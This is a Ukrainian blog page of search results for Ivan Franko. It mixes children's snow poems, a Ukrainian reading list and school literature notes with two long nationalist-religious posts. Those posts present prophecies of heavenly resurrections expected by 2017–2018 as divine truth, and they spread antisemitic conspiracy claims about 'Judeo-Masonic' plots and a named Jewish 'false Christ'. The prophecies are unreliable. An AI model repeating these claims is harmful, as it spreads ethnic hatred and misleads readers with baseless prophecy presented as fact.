хочу сюда!
 

Lena

34 года, овен, познакомится с парнем в возрасте 30-45 лет

Искать

Поиск заметок «іван франко»

Джохар Дудаев воскресне з неба в Франківську+Іса Мунаєв в Київі

  • 21.12.15, 20:47
 Слава Ісусу Христу  ! Привіт і кращі побажання на майбуття а особливо у Новий 2016рік  та Різдвяні СВЯТА  надсилаємо щиро всім  патріотам УПА  від ІНТЕРНЕТпятірки  офіцерів\капеланів УГВР з ГАЛИЧИНИ....Просимо  тих хто може  іншими мовами передавати  цю священну радісну вість  задля єдності  християн і  мусульман в світі  яких  зараз умисно хочуть розсварити третьою всевітньою  війною  жи2 й ГЛОБАЛмасони та їх запроданці....Згідно Бібліі =БОГ приготував таке спасення світу що нікому в голову не приходило і більшість людей не повірить спочатку в Божі передання які будуть дані про це в останні дні від Пресвятої Богородиці ...Згідно пророцтв переданих Богом УПА та глави  20 Одкровень Біблії   та Фатімських ПРОРОЦТВ Богородиці 1917року  = з Сонця неба до 2017року в світ воскреснуть не з гробів а з небесних 357ЧУДОметалХРАМІВ \по одній тисячі з кожного\ тільки 357 тисяч БОЖИХ обранців ЯК ХРИСТИЯНИ але ті які в минулім житті були віруючими інших вір...бо БОГ хоче їх родичів і краян навернути до однієї Христової віри ...Пресвята Мати каже ХРИСТИЯНАМ УГКЦ\УПЦкп візіонерам УПА що  тільки ті найбільш добрі люди різних націй які визнають Христа й Богородицю \та готові будуть задля них віддати життя \спасуться до 2018року коли на Землі згідно БОЖИХ ПРОРОЦТВ залишаться жити тільки 357млн найбільшправедних людей ... ОКРІМ всього наш Генерал УГВР Борис  Голодюк і Генерал Ічкеріі Джохар ДУДАЕВ були у 1995році ПЕРШІ В СВІТІ засновники Ради дружби християн і мусульман проти московського зла й у Франківську були перші акції єдності кавказців і карпатців проти КРЕМЛЯ ... Першу  інформпідтримку чеченців  в боротьбі проти момсковських окупантів  та прийняття сімей чеченців в Прикарпапття  зробили саме галичани а особливо рухівці \голодюківці  в перші роки організовувалди час від часу збір коштів  та харчів і одягу  для сімей  чеченських патріотів  котрі з часом виїхали в Європу бо в Украіні  в час КуЧМОкратіі були  випадки тайних убивств які чинили сатанисти з МВДибілів  та КГБсбУродів  ...ГАЛИЧАНИ щиро шанували АНТИМОСКОВСЬКУ БОРОТЬБУ ЧЕЧЕНЦІВ та їх СЛАВНОГО ПРОВІДНИКА ісля умисно зробленої по домовленості масонів США і МОСКВИ \Китаю  смерті Дудаєва в 1996році тоді ж за вимогою ІФРуху й підтримкою депутатів\голодюківців  першу вулицю  імені Джохара назвали в Франківську поруч вулиць Провідників ОУН  Євгена  Коновальця та Степана Бандери  !  Патріоти УПА\ОУН  вже понад  70років свято зберігають  добру традицію  порозуміння і єдності  всіх Божих  людей  з різних націй та вір у боротьбі  з комуносатанистами Москви та їх місцевими запроданцями .... Нагадаємо  що героїчна підтримка патріотами  ІФРуху ОУН\УПА антимосковських дій  кавказців =була в складний  час імперреваншизму коли за це тайно вбивали і калічили тіла й долі людей - адже сумновідомий комунофашист путінЛЕНІНець Петя Сімоненко  в 1999році зайняв 2 місце на президентських виборах... Поруч вулиці  Джохара  Дудаєва  в Франківську  є кращий  в Галичині ХРЕСТ памятник  й музей Степану Бандері  ! Також в Франківську було від 1995\ 2000 року випущено на основі газети УНРуху УПА "Поклик " перші  в світі  10 тисяч примірників 5 номерів  спільної антиімперської бойової газети чеченців і українців "Маршо"\ВОЛЯ..... На Головній управі УНРуху УПА в Франківську \вулиця  НЕЗАЛЕЖНОСТІ 5\  від 4 травня 1995року по 8травня 1998року в центрі Франківська на ВІЧЕВІМ МАЙДАНІ тисячі людей бачили три роки ЄДИНЕ В УКРАІНІ гасло " ВІД ГАЛИЧИНИ до ЧЕЧНІ московським окупантам -  НІ !" Там були  Прапори Ічкерії та Украіни та  СПІЛЬНИЙ наш червоночорний  антиімперський СТЯГ БОРОТЬБИ КОЗАКІВ  й друзів УПА ! Це все було знищено запроданцями ФСБ які під видом Руху чорновірців\костенківців   у травні 1998року \при підтримці  ментів й влади та запроданців в ЗМІ\= вчинили напад на приміщення ОУНців голодюківців \бандерівців та  зайняли ЗДОБУТІ  ГОЛОДУВАНЕННЯМ  й МАСОВИМИ АКЦІЯМИ початку 90 років  приміщення триповерхової ГОЛОВНОЇ ВСЕУКРАІНСЬКОЇ УПРАВИ  УНРуху \ Молодіжного Товариства " Сокіл+Пласт+СІЧ+" +" Трудівничого Товариства "Солідарність " та інших структур громадського ІФРуху а також захопили гроші\ майно\відео і ауді\відеоапаратуру \автомобілі  та інші цінності надбані ІФРухом ОУН  від 1989р  ...й запустили  в ті приміщення корисливих бізнесменів\різнопартіців а серед них навіть  соціалістів ... Б.Голодюку  й прихильним до нього нескореним  патріотам ІФРуху УПА вдалося  відбити в нападників освячені Богом по всій Украіні від 1995року Головні Прапори УНР та МТ "СОКІЛ +" та головну печать ІФРуху  без якоі  ніхто з влади  немав права передавати ті приміщення в аренду іншим організаціям та все це було злочинно знехтувано...Тоді  був для дезорієнтації людей а особливо для блокади коштів діаспори та обріхування створеного в 1995році Українського Націоналістичного Руху \голодюківців \=був  створений у 1999 році лжеУкрНародний Рух Костенка який потім став УНПартією..й від  нього мером Франківська на початку нового тисячоліття став  лукавий жмасон В.Анушкевіч а  перед цим у грудні 1998року  ІФміськвиконком на догоду КГБанді Київа\Москви  всупереч законодавству й Статуту ІФРуху \1990р\ зареєстрував цю лжеорганізацію "ІФМОНРУ" як правонаступницю ІФРуху хоч вона  зреклася СВЯЩЕННОГО ЧЕНРВОНОЧОРНОГО СТЯГУ ОУН\УПА та   Богом даного печатного СОНЦЕзнаку ІФРуху  ОУН ..  Проте від тоді досі в  Бориса Голодюка залишилася  як в законного Голови ІФРуху ОУН й Провідника УНРуху УПА  вироблена ще в 1993році печатка з цим священним символом який є в правому кутку майже тисячі  ЮТУБвідео КАНАЛУ " SOKILDNISТЕR" +УПА  ....Ці всі  жахливі  злочини в кінці 90 років проти   ІФРуху ОУН голодюківців  при мовчанні  заляканоі і пригодованої преси  та ЗМІ робилися усякими негідниками за юдині срібняки що давала ж2 Москви тоді в час КУЧМОвлади бажаючи підло  розпалити громадянську війну між різнопартійними  лібералами і та позапартійними націоналістами  в Галичині = та тоді  УНРух за БОЖИМ НАКАЗОМ був 100% у своїм членстві \так як в часи ЯВНОІ ОКУПАЦІЇ СССР \ совісно утаємнений до часу 2 Пришестя Христа.... Славний Іса Минаєв був наш давній ТАЙНИЙ друг УНРуху  УПА а в інтернеті ЯВНИЙ ПОЧЕСНИЙ Друг УПА з 2011року ..Вісті про те що ІСА Мунаєв так як Кузьма СКРЯБІН воскресне не з гробу а з небес в Київі  там де  арка ДРУЖБИ НАРОДІВ  неподалік  Майдану передала у лютому 2015року ПРЕСВЯТА Богородиця й про це є відео УПА !   Відомо   що Генерали УГВР  Джохар  Дудаєв\  Іван Франко\ Роман Шухевич та Володимир Висоцький воскреснуть на вид 30річні у безсмертномолодих нових тілах разом з 995іншим святими та славним єпископом УГКЦ  Миколаєм Чарнецьким з небесХРАМУ в  Франківську  в меморіальному сквері  позаду встановленого в 1995році памятника Франка виплавленого з металу найбільшого в Галичині  ідола сатаниста Леніна  знятого  тисячами патріотів УПА у 1990році  під керівництвом  Голови ІФРуху Голодюка біля  готелю "Надія "... Це  відомо християнам  по мережі ОУН\УПА ще  з 2006року  від Пресвятої  Богородиці  на основі Божих пророцтв зібраних  ще за попередні 500років був тоді ж затверджений \на свято УПА й Покрову \Третій Універсал УГВР  й від 2010року  інфи про це  дала наша ІНТЕРНЕТпятірка офіцерів\капеланів  Генерала УГВР Дністра\Голодюка в статтях й відео ПРОРОЦТВ УПА \ось одне з них \ГУГЛіть "Молись до Хрестів Кобзаря і Каменяра " +"Не з гробу воскреснуть Франко\Шухевич...! 
Час покаже що це все БОЖА ПРАВДА !  Всього кращого вам дорогі наші патріоти  УПА на майбуття ! Борімося ! Поборемо ! Героям слава ! Богородиця каже візіонерам УПА що скоро  Христос Бог  прийде   з воскреслими від  небес  Джохаром  Дудаєвим \Ісою Мунаєвим  й  Тарасом Шевченком  та  Степаном Бандерою і 200тисячами  святих в Україну  ....ВІРТЕ Й МНОЖТЕ !  Разом переможемо ! БОГ ПОМОЖЕ https://www.youtube.com/watch?v=NLf4bGmsCfc  Щасливо !Слава УКРАЇНІ ! Слава Ічкерії ! СМЕРТЬ АНТИХРИСТУ ПУТІНУ та всім потворам зла  !

10 найкращих віршів про сніг

Ось вже й зима в календарі 

та мало свята  на дворі

давайте звати білий сніг

щоб він прийшов аж на поріг .

Holiday Boom прикрашаємо свято.  Давайте створювати новорічну атмосферу разом. Якщо чогось забракло ми завжди можемо це додати самотужки, прикрасивши дім. Ще й згадавши новорічні вірші нашого дитинства. 

У добірці, звичано, не всі твори про сніг, написані українскими класиками , але вважаю найкраші з нашого дитинства. Щось вчили в садку, а щось в школі. І коли захотілося в середені грудня по-спражньому зимового настрою, багато з цих віршів згадалися самі собою. Бо вони прості і водночас ніжні, написані з любовью до життя.

А відкриває добірку незабутній Андрій Малишко і його "Білі мухи" - отже поїхали: 




1

Білі мухи

Білі мухи налетіли, –
Все подвір’я стало біле.
Не злічити білих мух,
Що летять, неначе пух.
– Галю, Петрику, Кіндрате,
Годі, ледарі, вам спати! –
І побігли до санчат
Галя, Петрик і Кіндрат.
Всі з гори летять щодуху,
Щоб впіймати білу муху,
А санчата їм усім
Змайстрував старий Максим.

Андрій Малишко.

"Сипле сніг" 
Сипле, сипле, сипле сніг. 
Мов метелики сріблисті, 
Сніжинки біленькі, чисті 
Тихо стеляться до ніг. 
Сипле, сипле, сипле сніг. 
Сипле, сипле, сипле сніг. 
Тихо, легко і спроквола 
Покриває все довкола, 
Ні стежок, ані доріг...
Сипле, сипле, сипле сніг. 
Сипле, сипле, сипле сніг. 
Все присипав – доли, гори, 
Вже ввесь світ – мов біле море, 
Біле море без доріг. 
Сипле, сипле, сипле сніг.  

Іван Франко


3

Зима

Одяглися люди в шуби,
натопили тепло груби.
Білки гріються в дуплі,
миші в норах у землі.
Сплять ведмеді в теплих лігвах,
сосни в інею застигли.
І під кригою на дні
сплять у річці окуні.
А під снігом в підземеллі,
в земляній м’якій постелі,
де немає світла дня,
причаїлося зерня.
Там не холодно зернинці –
спить вона, мов на перинці,
й тихо снить хороші сни
про веселі дні весни.

Наталія Забіла


Два плюс два

Мені на долоню
Злетіли з хмаринки
Дві білі сніжинки
І ще дві сніжинки.
А разом виходить
Якась дивина –
А разом виходить
Краплина одна!

Анатолій Качан


5

Зимонька 

Зимонько, голубонько
В білім кожушку,
Любимо ми бігати
По твоїм сніжку.
Всім рум’яниш личенька
Ти о цій порі
І ладнаєш ковзанки
В нашому дворі.

Любов Забашта

"Вранці біля хати" 

Вранці біля хати 
Малесенькі сліди – 
Зайчатко вухате 
Приходило сюди. 
Стояло біля хати, 
Ступило на поріг – 
Хотіло нам сказати, 
Що випав перший сніг. 

Леонід  Куліш-Зіньків 


7

Сніжинки

Пролітають біленькі сніжинки
І сріблясто на сонці блищать.
Мамо, мамо, чому я сніжинки
Не умію ніяк упіймать?
Вже здається, що ніби й спіймаю,
А відкрию долоню: нема!
Лиш водичка з долоні стікає.
Лиш водичка в долоні сама.
Каже мама здивовано доні:
– А чи знаєш, чому це так є?
Бо у тебе тепленька лодоня,
А сніжок від тепла розтає.
І помислила доня хвилинку,
Рукавичку наділа свою.
– Мамо, – каже, – тепер я сніжинку
Вже напевно, напевно, зловлю!

Світлана Кузьменко

8

Веселий сніг

Падав сніг,
Падав сніг –
Для усіх, усіх, усіх,
І дорослих, і малих,
І веселих, і сумних.
Всім, хто гордо носа ніс,
Він тихцем сідав на ніс.
А роззяві, як на сміх,
Залетів до рота сніг.
Вереді за комір вліз
І довів його до сліз.
А веселі грали в сніжки –
Сніг сідав їм на усмішки
І сміявся з усіма:
– Ой, зима, зима, зима!


Оксана Санатович

9

"Сніг іде" 
Тихо, тихо сніг іде, 
Білий сніг, лапатий, 
Ми у двір скоріш підем, 
Візьмемо лопати. 
Ми прокинем зранку 
Стежку біля ганку, 
Вийде мама з хати 
І почне питати: 
- Хто ж це так доріжку 
Вміє прокидати? 

Марія Познанська 



і на останок не забуваємо що саме сніг приносить нам святковий новорічний настрій: 

10

НОВОРІЧНА НЕСКІНЧЕННА

Білий снігу, сніженьку, 
Простели доріженьку 
Від хати до хати — 
Новий Рік стрічати.

Ми зустріть зуміємо 
Танцями і співами, 
Бо живем щасливо, 
Всій землі на диво.

Круг ялинки станемо, 
На ялинку глянемо, 
Руки всі сплетемо, 
Знову заведемо:

Білий снігу, сніженьку, 
Простели доріженьку...
Максим  Рильський



Що варто прочитати з української літератури

Українські книжки, які варто прочитати громадянину України

«Кобзар» - Тарас Шевченко
«Чорна рада» - Пантелеймон Куліш
«Гайдамаки» - Юрій Мушкетик
«Зачарована Десна» - Олександр Довженко 
«Енеїда» - Іван Котляревський
«Лісова пісня» - Леся Українка
«Кайдашева сім'я» - Іван Нечуй-Левицький
«Роксолана» - Павло Загребельний
«Маруся Чурай» - Ліна Костенко
«Хіба ревуть воли, як ясла повні?» -Панас Мирний
"Захар Беркут» - Іван Франко
«Записки українського самашедшего» - Ліна Костенко
«Солодка Даруся» - Марія Матіос
«Залишенець. Чорний ворон» - Василь Шкляр
«Холодний Яр» - Юрій Горліс-Горський
«Байки Харківські» - Григорій Сковорода
«Марія» - Улас Самчук
«Історія українського козацтва» - Валерій Смолій
«Жовтий князь» - Василь Барка
«Новели та гуморески» - Василь Симоненко
«Московіада» - Юрій Андрухович
«Тигролови» - Іван Багряний 
«Сад Гетсиманський» - Іван Багряний
«Українська Повстанська Армія» - Володимир Вятрович, Ігор Дерев'яний
«Бояриня» - Леся Українка
«Ворошиловград» - Сергій Жадан
«Нація» - Марія Матіос
«Украинский национализм: ликбез для русских» - Кирило Галушко
«Поезія» - Василь Стус
«Історія України-Руси» - Михайло Грушевський
«Україна в огні» - Олександр Довженко
«25 перемог України» - Олександр Палій
«БотакЄ» - Тарас Прохасько
«Історія Русів — вічна книга української незалежності» - Автор невідомий
«Століття Якова» - Володимир Лис
«Український національний рух 40-50-х рр.» - Юрій Киричук
«Вічник» - Мирослав Дочинець
«Оповідання» - Василь Стефаник
«Дванадцять обручів» - Юрій Андрухович
«Музей покинутих секретів» - Оксана Забужко
«Краса і сила» - Володимир Винниченко
«Лексикон інтимних міст» - Юрій Андрухович
«Теплі історії до кави» - Надія Гербіш
«Вся наша історія – це музей похованих секретів» - Оксана Забужко
«Танго смерті» - Юрій Вінничук
«Людолови» - Зінаїда Тулуб
«Notre Dame d'Ukraine: Українка в конфлікті міфологій» - Оксана Забужко
«Козацькому роду нема переводу, або Козак Мамай та чужа молодиця» - Олександр Ільченко
«Богдан Хмельницький» - Валерій Смолій, Валерій Степанков
«Геополітичні орієнтири нової України» - Юрій Липа
«Призначення України» - Юрій Липа
«Самостійна Україна» - Микола Міхновський
«Червоний» - Андрій Кокотюха
«Многії літа. Благії літа» - Мирослав Дочинець
«Зоряний Корсар» - Олесь Бердник
«Чорна Пантера і Білий Медвідь» - Володимир Винниченко
«Мальва Ланда» - Юрій Винничук
«Ментальність орди» - Евген Гуцало
«Московська воша» - Симон Петлюра
«Країна Моксель або Московія» - Володимир Білінський
«Діва-Обида» - Ігор Римарук
«Таємний посол» - Володимир Малик
«Українці: витоки та історичні долі» - Леонід Залізняк
«Володарі гетьманської булави: Історичні портрети» - редакція Олексія Дмитренко
«Петро Дорошенко» - - Валерій Смолій, Валерій Степанков
«Україна today: під прапором сталінізму» - Сергій Грабовський
«Майже ніколи не навпаки» - Марія Матіос
«Дефіляда в Москві» - Василь Кожелянко
«Тема для медитації» - Леонід Кононович
«БОТ» - Макс Кідрук
«Хронос» - Тарас Антипович
«Піца Гімалаї» - Ірена Карпа
«Апостолові Петру. Автопортрет альтер его» - Юрій Іллєнко
«Я повертаю Україні те, що в неї викрадено» - Раїса Іванченко
«Вільний спосіб життя. Незнищенна традиція воїнів-охоронців Краю та споконвічні принципи самоорганізації українців» - Олександр Косуха
«Брама Безсмертя» - Юрій Шилов
«Таємниці Єви» - Богдан Коломийчук
«Криничар» - Мирослав Дочинець
«Мед з дікалоном» - Юрій Камаєв
«Рівне/Ровно» - Олександр Ірванець
«Про українську пісню й музику» - Олександр Кошиць
«Білий кречет» - Володимир Шовкошитний
«Дзвоник» - Борис Грінченко


Блогосфера про сьогодення

  • 02.11.15, 21:33
Pavlo Nuss: Процесс прямой #деолигархизации запущен.
Спецоперация по задержанию Геннадия Корбана проходит в рамках ликвидация организованной преступной группировки в Днепропетровской области.
О преступлениях этого, и других персонажей, следствию было известно давно. Убедительные доказательства о взрывах, хищениях людей, заказных убийств, махинациях в бизнесе, банковской сфере, рейдерских захватов предприятий, и, вероятно, о хищениях денежных средств в размере десятки, а возможно и сотни миллионов предназначенных для сил антитеррора (АТО) и ВСУ – также имелось, как у СБУ, так и у ГПУ.
Но. Ввиду того, что Геннадий Корбан и члены его группы были задействованы в политический процесс через механизм участия в избирательной кампании в Чернигове, Киеве, Днепропетровске, силовики не могли активировать операцию по ликвидации ОПГ.
Теперь для общественности стает понятней ситуация с неожиданным появлением Корбана и Ко на политической арене страны, так как в нашей стране, к сожалению, политика и участие в ней спасает криминал от ответственности.

Выборы прошли, и у СБУ, МВД, ГПУ есть мотив, основания и необходимые полномочия для ликвидации ОПГ по всей стране.

Yevgen Chukhniy: "Всі знають" - не факт, тим більше не доказ в суді.
Арест Корбана поднял больше шума, чем в свое время арест Аль Капоне.
Кстати, Аль Капоне был арестован 17 октября 1931 г. И арестовали его не за грабежи и убийства, не за рекет, и сделали это не агенты ФБР или полиция.
Он был арестован агентами налоговой службы, а если быть более точным, то агентами СВН (Службы внутренних сборов), которая в течение пяти лет собирала данные на Аль Капоне и, в конце концов, склонила к сотрудничеству бухгалтера, благодаря которому удалось собрать достаточно улик, чтобы иметь возможность предъявить обвинение гангстеру.
У нас шумят - почему тот не сидит, почему это не сидит, ведь все знают, что он преступник.
Но суду недостаточно такого доказательства - ВСЕ ЗНАЮТ.
Знать и доказать - это разные вещи. Дело Аль Капоне - убедительный пример.

«Історична правда»: Іван Франко тричі брав участь у виборах до сейму і програвав вибори через селян, які продали голоси за ковбасу

Псевдоніми

  • 22.10.15, 23:33
Псевдоніми: 
Іван Багряний (Іван Лозов’ягін) 
Іван Карпенко-Карий (Іван Тобілевич) 
Леся Українка (Лариса Косач-Квітка) 
Марко Вовчок (Марія Вілінська) 
Микола Хвильовий (Микола Фітільов) 
Олександр Олесь (Олександр Кандиба) 
Остап Вишня (Павло Губенко) 
Панас Мирний (Панас Рудченко) 

Присвяти: 
М.Коцюбинський – «Intermezzo» (Кононівським полям) 
Т.Шевченко – «Кавказ» (іскрєннєму моєму Якову де Бальмену) 
«Гайдамаки» (Григоровичу на пам'ять 22.04.1838) 
«Катерина» (Жуковському) 
М.Хвильовий – «Я (Романтика)» («Цвітові яблуні») 
Г.Тютюнник – «Три зозулі з поклоном» (Любові всевишній) 

Празька школа: Євген Маланюк 
Шістдесятники: Василь Симоненко, Іван Драч, Григір Тютюнник, Ліна Костенко 
Письменники-емігранти: І. Багряний, Є. Маланюк, У. Самчук, В. Барка, Т. Осмачка, О. Олесь 
Дисиденти: Василь Стус 

Стопи: двоскладові: хорей ( U — ); ямб ( — U ); спондей ( — — ); пірихій ( U U ) 
трискладові: дактиль ( — U U ); амфібрахій ( U — U ); анапест ( U U — ) 

Види лірики: 
1) громадянська (політична) – опис подій суспільно-політичного життя; оспівування відомих історичних осіб, виявлення патріотичного почуття, любов до Батьківщини; 
2) філософська – відображення проблем буття людини та суспільства (життя і смерть, любов і ненависть, призначення людини у світі); 
3) пейзажна – роздуми і почуття поета, викликані картинами та явищами природи; 
4) інтимна – переживання героя, пов’язані з його особистим життям. 

Цитати: 
Іван Вишенський 
«Наближається до кращих взірців барокового стилю» Д. Чижевський 

Григорій Квітка-Основ’яненко 
Т.Шевченко вважав Г. Квітку- Основ’яненка засновником нової української прози. 

Тарас Шевченко 
«Він був кріпаком і став велетнем у царстві людської культурі» І. Франко 

Пантелеймон Куліш 
«Куліш – перворядна зірка в нашому письменстві, великий знавець української мові, а притім добрий знавець язиків і літератур європейських народів» І. Франко 

Марко Вовчок 
«Основоположниця дитячої української прози» 

Панас Мирний 
«Корифей української прози» 

Ольга Кобилянська 
«Гірська львиця» 
«Велика українська письменниця, бо час нічого не заподіяв її творам, а тільки утвердив їх в нашому народі» В. Земляк 
«Пишна троянда в саду української літератури» М. Старицький 

Михайло Коцюбинський 
«Сонцепоклонник» 
«Його проза - це синтез народності і гуманізму, воістину загальнолюдського масштабу інтереси, глибинність естетичного змісту, рівне мислення, вивершеність образів, найяскравіші грані майстерності, завдяки чому твори Коцюбинського – це і духовний образ, і суть буття народу, його жива історія, великі гуманістичні уроки, мрія про будучину» П. Кононенко 

Павло Тичина 
«Шукання й шукання, праця і вимогливість, і, нарешті, вміння з безконечного плину образів відібрати найсвіжіший, наймісткіший, наймузикальніший» О. Гончар 

Володимир Сосюра 
«Глибинно-бентежний березень та замріяно прозорий вересень» М. Стельмах 

Микола Хвильовий 
«Основоположник української прози ХХст.» 

Іван Нечуй-Левицький 
«Всеобіймаюче Око України» 

Остап Вишня 
«Король українського тиражу» 
«Остап Вишня – справжній мисливець і при тому поет полювання» М. Рильський 

Андрій Малишко 
«Солов’яне серце України» 

Іван Драч 
«Сонячний поет» 

Василь Стус 
«Поезія Василя Стуса – наскрізь людська і людяна, вона повна піднесень і падінь, одчаїв і спалахів радості, прокльонів і прощень, криків болю й скреготів зціплених зубів, зіщулень у собі і розкривань безмежності світу» Ю. Тевельов 
«Цільність і всеохопність… патріотизму» М. Коцюбинська 

Є. Маланюк 
«Імператор залізних строф» 

Де розгортаються події: 
1) у Тополівці – Україна в огні 
2)у Харкові – Мина Мазайло 
3)у Семигорах – Кайдашева сімя 
4)у Пісках – Хіба ревуть воли як ясла повні 
5)в Україні, Сибіру й Петербургу – Сон 
6)біля Кононівки – Інтермеццо 
7)на хуторі Хмарище, у Києві, Ніжині – Чорна рада

Пророк РУНВіри Лев Силенко воскресне як християнин в Франківськ

  • 05.10.15, 16:31
 Привіт й кращі  побажання  всім  патріотам  ОУН\УПА\УГВР    від  ІНТЕРНЕТпятірки офіцерів \капеланів  УГВР  на  свята  Покрову Пресвятої Богородиці та  САМоСТІЙного козацтва України й УПА  та  ЗСУ !  Народжений в селі БОГОЯВЛЕНСЬКЕ в БОГУНІВській \КІРОВОгадській\ області біля потоку Південний БОГ \Буг\ на свято ЧЕСНОГО Хреста 27 вересня 1921 року хрещений в обряді УАПЦ украінець Лев Силенко оцінюється Богом і УГВР як патріот УПА який від 1944року разом з іншими ОУНцями діяв за тайним завданням УГВР по плану " ДАЖБог" = Відомо що в УПА ще від 1943року була і є досі ТАЙНА сотня рідновірів "Перун " та є тайний полк друзів козаків УПА "ДажБОГ" куди трійками й пятірками входять сім"ї рідновірів які самостійно вирішують як вони мають діяти задля щастя і волі Украіни...Боговидцям ОУН а потім УПА ще з 1929 року являвся Ісус Христос у плямистозеленій похідній формі тій в якій люди вперше в Зарваниці на всеукраінській багатоміліонній християнській прощі побачили й зняли на фото з 1995року юних соколів УПА що потім провели саме в цій формі перші вервичні козацькохристиянські походи через всі області Украіни та встановили 111 хрестів за Божим наказом в тих місцях де особливо злі люди робили ворожбу проти християн в тій же формі з синежовтим і червоночорним шевронами та одним погоном = ГУГЛшуком можно найти фото Генерала капелана  УГВР Голодюка ....Син і внук та правнук праведних священиків УГКЦ =Герой України й Третій Провідник ОУН Степан Бандера за переданнями християн які бачили синеокого русого  Ісуса Христа  з постійними наскрізними ГВІЗДранами долонь   саме  з синежовтим  й червоночорним  шевронами на бойовій  формі  =наполіг щоб після смерті Євгена Коновальця в ОУН були два прапори =це мирний СИНЕЖОВТИЙ та бойовий ЧЕРВОНОЧОРНИЙ \який згодом був прийнятий як СТЯГ ОУНреволюційної та бойове ЗНАМЕНО УПА \УГВР... На формі ІСУСА було написано БОЖЕ бойове Імя = "Ісус Христос "+Дай Ж Бог Спас "=причому буква " Ж" світилася веселкою БУЛА ЗОБРАЖЕНА в колі як відомий від 1993року через газету УНРуху УПА " ПОКЛИК " Знак печаті ІФРуху Христа й УПА "...його можна побачити ГУГЛшуком "Сонце знак УПА "та він є в правому нижньому куті всіх ЮТУБвідео "Пророцтва УПА " ...Христос ще  майже 70 років тому  передавав  в Прикарпатті грекокатоликам \ бандерівцям  ,  що Московія з КГБандитською РПЦ та іншими сектами а особливо єговістами творить жидомасонську лжевіру в чорноокого й чорноволосого ЛЖЕХРИСТА \ жида Давіда Коткіна \ який має родитися в 1956році в Одесі \біля Південного моря а 6\6\1966року буде в США як юний чорномаг тайно масонами посвячений Сатані та за змовою жидоглобалістів Москви і США та інших краін вестиме до влади в Кремль сіроокого русого Антихриста Вову Путіна що родиться на Північнім морі за 4 роки до того...й теж буде посвячений САТАНІ...Щоб протидіяти цьому злу Бог хоче щоб українців поєднала справжня християнськка релігія в Галичині а на сході щоб зміцніла нова " мага віра " в ДАЖБОГА =Єдиного який живе на СОНЦІ в бік якого через ікони й хрести \церкви треба молитися і вірити у повернення святих... а в останні часи ТЕ ЩО ДАЖБОГ та ХРИСТОС є ОДНОЮ ОСОБОЮ =Відкриє САМ Левко СИЛЕНКО .... який створив «Мага Віра» — українське святе письмо, основною метою якого є реформування давньої політеїстичної \ багатобожної\ віри Русів \украінців в монетеїстичну \однобожну\ релігію сучасного зразка. Також ця книга включає в себе оригінальний погляд на історію України, описи древніх обрядів та традицій, молитви та релігійні вчення, нову філософію та світогляд.\ що саме БОГ СОНЦЯ найбільше з усіх Націй сподобав мирних хліборобів та нескорених козаків українців яких верне з небес...Певні розділи цієї книги віри украінців є помилкові через те що Силенко як всі люди був грішною людиною але він все більш йшов до праведності та у більшості книга ця є позитивною ...В останні роки ПОЧЕСНИЙ ДРУГ УПА Лев Силенко мав за наказом УГВР написати те що Бог неба\СОНЦЯ й ЗЕМЛІ є єдиний та ІМЯ ЙОГО " Христос =Дай Ж БОГ Спас" але невстиг це сказати та й боявся що його вчення перекрутять... Також Левко Силенко та РУНВірці пропагують СОНЦЕТризуб \знак ТРИСУТТЯ +Трійцю Бога \ який буде видно на Сонці в ВЕЛИКИЙ ДЕНЬ коли воно на 77 годин стане над УКРАІНОЮ о 12 годині дня а в 19 годині в світ зійде 357 чудоМЕТАЛхрамів з яких воскресне по тисячі БОЖИХ ОБРАНЦІВ......\ з них найбільше українців бо в Украіну\РУСЬ зійде 200 храмів а в США\Іспанію\Ізрайль\Сирію\ Польшу\Італію та в деякі інші краіни лиш по одному ..   Божа МАТИ передала що після смерті Лев Силенко був певний час в чистилищі а потім був прийнятий в Христове ЦАРСТВО та має воскреснути в новім вічномолодім безсмертнім тілі з ЧУДОХраму який зійде в Франківську в МЕМОРІАЛЬНОМУ СКВЕРІ слави Героів КОЗАЦТВА\УСС\ОУН\УПА\МАЙДАНУ...між вулицями Провідників ОУН Андрія Мельника та Степана Бандери...Саме там як про це звістив Третій Універсал УГВР від 5 жовтня 2006року почала все частіше являтися з Сонця до встановленого в 1995році 7 метрового металевого Хреста УПА Пресвята Мати яка оповіла через роки всебільш детально візіонерам УПА \зокрема Генералу УГВР Голодюку \ про те як спочатку згідно глави 20 Одкровень Бібліі воскреснуть не всі люди і не з гробів а лиш 357 тисяч святих і блаженних Божих обранців =по тисячі з 357 ЧУДОметалХРАМІВ =200 з яких зійде в Україну ...а з того Храму де воскреснуть як Генерали УГВР ІВАН Франко та Роман Шухевич вернеться як офіцер УПА на вид 25 річний Лев Силенко і ще 997 Божих обранців.... Відомо що в 2008р перше тлінне тіло померлого25 листопада на СВЯТО святого ЙОСАФАТА = АПОСТОЛА ЄДНОСТІ ХРИСТИЯН = Головного Провідника Л.Силенка було спалено й попіл від нього є розвіяний на Дніпрі та частково похований в ріднім селі небіжчика...... Відомо що Лев Силенко не критикував за християнство патріотів ОУН\УПА та визнавав найсвятішим головним майбутнім Гетьманом Украіни Тараса Шевченка а другим після нього шанував Івана Франка...бо саме це знали найбільшпобожні християни з 1942року через вірного УГКЦ офіцера\капелана УПА Степана Навроцького були ПРОРОЦТВА УПА ... УГВР поставила завдання всім патріотам робити все задля єдності та порозуміння між РУНвірцями СИЛЕНКА та християнами УГКЦ та УПЦкп... саме ця священна ідея єдності звучить у відео " СВІТЛО ВІРИ УПА " від Генерала УГВР Голодюка в час його перебування на могилі славного ХРИСТИЯНИНА та РУНвірця Михайла Нечая якого умисно убили ФСБандити для сатанизму і ворожіння й бажали нацькувати на його похоронах рідновірів та християн украінців ...Це ж слово пошани Борис Голодюк каже про свого померлого кровного родича й славного односельця \вчителя і політвязня та офіцера УПА \ Василя Стрільціва \див ГУГЛ \ який був вірний УГКЦ та завданням ОУН \УПА став в 1995році одним з явних заступників Лева Силенка та Провідником РУНВіри в Украіні бо були знайомі вони ще в часи 2 світової війни ...   Світлая вічная память й дай Бог воскресіння з небес Героям і друзям http://www.aratta-ukraine.com/text_ua.php?id=1131 ЄДНАЙМОСЯ УКРАІНЦІ ...ЛЮБІМ нашу Неньку УКРАІНУ й Отця БОГА як СОНЦЕ ...Дай же Бог спасіння всім хто того гідний й більшого просвітлення душ...Не зрадьмо наших Героїв й страдників.. В тім  Франківськім сквері   в 1980році комуносатанисти  поруйнували  тисячі могил і  хрестів  що були на них  бо то було найбільше в Франківську  багатовікове кладовище яке закрили  ще в часи приходу НКВДибілів   Сталіна...там залишилась не поруйнованою серед десяткка  інших могила славного композитора  Дениса Січинського  який  в новім тілі з небес воскресне  з своім давнім другом  Іваном  Франком   з яким він написав знамениту пісню " Не пора 